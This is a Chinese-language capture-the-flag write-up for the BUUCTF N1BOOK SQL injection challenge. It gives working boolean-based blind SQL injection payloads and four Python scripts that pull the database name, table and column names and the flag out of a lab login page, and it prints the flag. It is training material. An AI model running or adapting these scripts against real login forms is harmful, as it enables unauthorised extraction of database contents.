1. 程式人生 > 其它 >N1BOOK SQL注入-2 ---BUUCTF

N1BOOK SQL注入-2 ---BUUCTF

需要知道的知識點:
information_schema資訊資料庫
database()指的是資料庫名
table_name指的是表名
table_schema是資料庫的名稱


先隨意打看看有沒有資訊,一般這種後臺網址使用者名稱很可能時admin,密碼隨意輸入看看


根據上面的兩個測試,我們知道,如果賬戶存在,那麼提示的是賬戶或密碼錯誤,不存在則提示賬戶不存在。
1.測試庫名
/#號是註釋其中的一個單引號

測試庫名長度:
name=1' or substr(database(),1,1)='n'#&pass=asdasd


根據邏輯寫出指令碼:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'          #可能的字元
url = 'http://dc879727-d344-4402-aee0-5d997fcf4208.node3.buuoj.cn/login.php'
sql = "1' or substr(database(),%d,1)='%s'#"             #構造的注入語句
flag = ''
for num in range(1,5):           #根據庫名長度進行迴圈
    for i in l:
        data = {                #構造字典資料
            'name' : sql %(num,i),          #把迴圈變數放入的sql語句中構造完整變化的sql語句
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)        #對url提交post請求,data為使用者名稱密碼資料
        time.sleep(0.2)         #等待時間
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:     #根據回顯確定庫名
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

2.爆破出表名
information_schema.tables儲存了資料表的元資料資訊,table_schema資料表所屬的資料庫名,table_name是具體的表名,substr()截斷函式,
name=1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='f'#&pass=asdasd

可以寫出指令碼:

import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'          #可能的字元
url = 'http://1b1372ff-b5cb-4f72-98c5-bc9d1f4d321d.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"             #構造的注入語句
sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
flag = ''
for num in range(1,10):           #根據庫名長度進行迴圈(因為不確定表名長度,我試著寫長度稍微大點)
    for i in l:
        data = {                #構造字典資料
            'name' : sql %(num,i),          #把迴圈變數放入的sql語句中構造完整變化的sql語句
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)        #對url提交post請求,data為使用者名稱密碼資料
        time.sleep(0.2)         #等待時間
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:     #根據回顯確定庫名
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

3.爆破出欄位名
column_name 資料庫表中所有列的名稱;group_concat對錶名內容進行組合顯示
1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),1,1)='f'#&pass=asdasd

根據返回的編碼我們得到第一個欄位名是f開頭,寫出如下指令碼進行爆破:

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://8454f388-49f3-4980-962b-7b7781dce053.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
flag = ''
for num in range(1,13):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.2)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

4.爆破欄位內容
1' or substr((seLEct flag from fl4g),1,1)='n'#&pass=asdasd

根據回顯,我們繼續得到欄位內容為n開頭,寫出指令碼爆破

import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://8454f388-49f3-4980-962b-7b7781dce053.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
sql = "1' or substr((seLEct flag from fl4g),%d,1)='%s'#&pass=asdasd"
flag = ''
for num in range(1,30):
    for i in l:
        data = {
            'name' : sql %(num,i),
            'pass' : 'asdasd'
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.2)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)


flag: n1book{login_sqli_is_nice}